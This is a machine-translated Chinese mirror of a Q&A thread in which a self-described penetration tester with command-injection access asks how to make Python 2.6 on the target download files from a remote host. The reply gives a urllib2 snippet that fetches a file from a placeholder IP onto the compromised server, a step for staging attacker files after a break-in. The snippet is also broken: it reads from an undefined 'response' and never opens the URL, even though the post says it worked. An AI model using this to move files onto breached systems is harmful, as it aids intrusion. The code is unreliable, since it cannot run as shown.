Python26脚本从远程hos获取文件

2024-09-28 03:21:45 发布

您现在位置:Python中文网/ 问答频道 /正文

我在找一些关于Python脚本的帮助

我正在做一个pentesting项目,并获得了在系统wwwroot目录下进行命令注入和写入文件的权限。ftp和telnet都在系统上,但我没有权限访问它们。在这一点上真正有用的是Python26,它在系统上,我可以使用。 不过,我对现实生活中的Python知之甚少

我的想法是。。。有没有一种方法可以使用Python脚本回调到主机并从主机获取文件?如果是这样的话,有没有人对如何为此编写脚本有什么建议

提前谢谢


Tags: 文件项目方法命令目录脚本权限系统
1条回答
网友
1楼 · 发布于 2024-09-28 03:21:45
import urllib2
file = "success2.txt"
url = "http://xx.xx.xx.xx/test.txt"
fh = open(file, "w")
fh.write(response.read())
fh.close()

所以这就是我在@furas的建议下所做的

我做了更多的研究发现: http://www.pythonforbeginners.com/python-on-the-web/how-to-use-urllib2-in-python/

这解释得很好

希望这对将来有帮助

因为我理解代码。 首先设置要写入的变量“file”(对于远程使用,绝对路径可能很重要) 然后设置文件所在的url和文件名

然后将代码写入到要写入的文件中。然后它从url中写入它打开的文件

与ftp不同的是,它似乎不会直接“复制”文件。因此,您可能需要在fh=open(文件“w”)中使用“wb”,它对二进制文件做一些处理。我不是100%的w和wb之间的差异,但这种方法对我有效

相关问题 更多 >

    热门问题